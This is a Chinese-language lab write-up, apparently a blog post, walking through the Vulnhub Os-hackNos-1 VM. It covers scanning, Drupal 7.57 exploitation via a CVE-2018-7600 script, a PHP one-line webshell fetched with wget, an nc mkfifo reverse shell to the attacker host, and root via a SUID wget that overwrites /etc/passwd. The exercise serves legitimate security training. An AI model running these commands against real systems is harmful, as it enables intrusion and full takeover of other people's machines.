靶机训练1 - hackNos: Os-hackNos
靶机训练1 - hackNos: Os-hackNos
- 靶机平台Vulnhub
- 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
靶机相关漏洞
前期准备
靶机介绍
- 靶机下载地址
- flag:2个flag第一个user.txt和第二个root.txt
- 学习内容:
- exploit(利用)
- Web Application(Web应用程序 )
- Enumeration(枚举)
- Privilege Escalation(权限提升)
靶机安装
- 从靶机下载地址下载靶机的镜像文件
- 打开vmware,直接导入(打开)虚拟机
- 有可能遇到的问题
- vmware的虚拟机无法使用桥接模式联网
- 原因
- vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
- VMware打开虚拟网络编程器
- 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡
- 有可能遇到的问题
- 启动靶机
- 靶机默认采用的是桥接模式
信息收集
1. 找到攻击目标的IP地址
- 查看kali本机的ip地址
- ifconfig
- 得到 192.168.31.239
- ifconfig
-
通过nmap主机探测的获取其 IP地址
-
nmap -sP 192.168.31.0/24 -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现 在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口 不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
-
靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息
vulnhub靶机练习-Os-hackNos-1,超详细使用 (shuzhiduo.com)
- 如下图,没有VMware上运行的靶机
- 第一步:启动靶机时按下 shift 键,进入以下界面
- 第二步:选择第二个选项,然后按下 e 键,进入编辑界面
- 将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令
- ip a 查看一下实际用的网卡,这里是ens33
- vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33
- 按下 i 即可进入编辑模式
- 输入结束后,esc 退出编辑模式,输入:wq 保存且退出
- /etc/init.d/networking restart 重启网卡服务
- 按ctrl+alt+del 返回原界面并重启(或者直接手动重启虚拟机)
- 接着继续扫描靶机,即可看到靶机ip:192.168.31.76
2. 端口扫描
-
通过nmap进行端口扫描
-
nmap -sV -sC -A 192.168.31.76 -sV 表示探测目标机器上的服务信息 -sC sC参数表示使用nmap脚本进行探测 -A 显示路由等信息
-
-
扫描成功后,即可看到 开放的端口是 22 和80 端口
- 使用浏览器访问80端口,可以看到一个ubuntu的服务页面
3. 目录扫描
-
使用目录扫描器 gobuster,没有则安装(apt install gobuster)
-
gobuster help:输出完整的帮助信息 gobuster dir -u http://192.168.31.76/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -dir 表示使用目录爆破模式 -u 后接目标站点 url -w 爆破的字典
-
-
发现存在一个 /drupal 的目录
-
浏览器访问可以看到drupal的一个php的内容管理系统(CMS)
-
http://192.168.31.76/drupal/
-
获取CMS 版本方法1
- 可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录中的信息文件
- 然后去访问靶机的该文件,就可以看到其版本 为 7.57
获取CMS版本方法2
-
利用Droopescan进行扫描
- Droopescan是一款基于插件的扫描器,可帮助安全研究人员发现Drupal,SilverStripe,Wordpress,Joomla(枚举版本信息和可利用URL地址)和Moodle的问题)
- 也可以用dirb,dirbuster
-
安装教程
-
运行命令
-
droopescan scan drupal -u http://192.168.31.76/drupal -t 32
-
获取CMS的方法3
- 使用浏览器插件wappalyzer查看网站基本信息
4. 发现CMS版本为7.57,可以网上查找是否存在exp
方法1 - github查询
- 在github 查询 drupal 7.57,可以看到其 exp
- 默认相关的包在kali上是安装好的,用git 安装一下 exp
-
进入目录下执行,可以看到有很多参数提示
-
python3 drupa7-CVE-2018-7600.py -h
-
-
我们直接填写url
-
默认输入了id,返回了用户www-data
-
python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/
-
-
-c参数可以执行系统命令,如查询目录文件
-
python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls
-
- 浏览器访问数据库文件的页面
-
查看数据库文件,里面有数据库用户的账号和密码
-
python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "cat sites/default/settings.php"
-
-
在获取账号的同时也可以在对目录进行更深的扫描
-
gobuster dir -u http://192.168.31.76/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
-
-
创建config.txt文件,写入账号和密码,后续可能有用
5. 拿 shell - 给靶机上传木马
-
创建一句话木马的php文件
-
<?php system($_POST['binge']);?>
-
-
在exp所在的目录下,开启python自带的httpserver,查看ip地址
-
python -m SimpleHTTPServer # 如果出现报错:Python – No Module named SimpleHTTPServer # 这是因为python的http server的module名字变了,改用 python -m http.server
-
-
鼠标右键水平布局终端
-
在靶机上上传这个木马文件
-
python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "wget http://192.168.31.239:8000/binge2.php"
-
- 上传成功
-
查看exp是否上传成功
-
python3 drupa7-CVE-2018-7600.py http://192.168.31.76/drupal/ -c "ls"
-
6. 通过代理,抓包改包
- 设置代理前,需要先下载添加火狐插件foxyproxy
- 在设置/扩展与主题中搜索并添加
- https://blog.csdn.net/weixin_44632787/article/details/120596405
- 添加代理
- kali开启burpsuite抓包
- 可以通过命令行开启
- burpsuite
- 可以通过命令行开启
- 在burp这个页面设置代理
- 在浏览器访问靶机后,在burp上截包
- 更改提交的方法
- 发送后可以看到成功获取,可以执行命令了
做一个反弹 shell
- 终端 监听 9001 端口
-
使用 nc 命令建立反弹shell
-
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 9001 >/tmp/f
- kali的ip和监听的端口
-
-
将nc命令进行 url encode 编码后,放入url并发送
-
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.31.239%209001%20%3E%2Ftmp%2Ff
-
- 得到一个反弹shell
-
切换 shell
-
python3 -c 'import pty;pty.spawn("/bin/bash")'
-
-
查看 id 与 ls 信息
-
查看密码文件
-
cat /etc/passwd
-
-
发现有一个james的用户,查看内容,看到一个用户文件,查看用户文件内容,拿到第一个flag
-
ls /home/james cat /home/james/user.txt flag:bae11ce4f67af91fa58576c1da2aad4b
-
-
先查看root 目录下有无其他文件信息,发现没有权限
-
ls /home/root/user.txt
-
-
返回上一级目录,看到一个可疑文件 alexander.txt
- cat 文件内容发现密文,尝试用 burpsuite 进行破解
-
密文
-
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
-
-
解密后
-
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++. ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+ ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[- >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+ ++.<
-
-
百度查看,发现是摩尔密文,使用在线工具进行解密后得到账号和密码
-
james:Hacker@4514
-
[(102条消息) 简单的密码题 +++++ +++++ ->++_-Lithromantic-的博客-CSDN博客
-
Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)
-
- 可以将其放入靶机文件夹下,可能有用
- 尝试切换用户登录 james,登录失败
- 之前有开放22端口,试着ssh登录,登录失败
7. suid 提权
-
suid提权,需要搜索到,带有s的文件
-
find / -perm -u=s -type f 2>/dev/null
-
- 这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
james:x:1000:1000:james,,,:/home/james:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
- 新建一个用户
-
将root的格式复制出来,对着修改,然后保存到 刚创建的 passwd 文件中
-
root:x:0:0:root:/root:/bin/bash 新用户bingeok密码:$1$bingeok$rlEv4iJQXBuRCSLQuUv2R0 替换后 bingeok:$1$bingeok$rlEv4iJQXBuRCSLQuUv2R0:0:0:root:/root:/bin/bash
-
-
通过浏览器 访问一下passwd文件是否存在,以便后续把它下载到靶机
-
前提是开启了 httpserver服务器
-
kali下访问: localhost:8000 物理机:192.168.31.239:8000
-
-
在 shell 中通过wget命令下载并查看是否成功
-
wget http://192.168.31.239:8000/passwd -O /etc/passwd
-
- 切换账号后,即可得到 root 权限
- 可以来到主目录,查看刚刚因为权限问题无法打开的user.txt文件,获取flag
-
查看ssh,ssh防护做的很好,还禁止明文登录
-
cat /etc/ssh/sshd_config
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现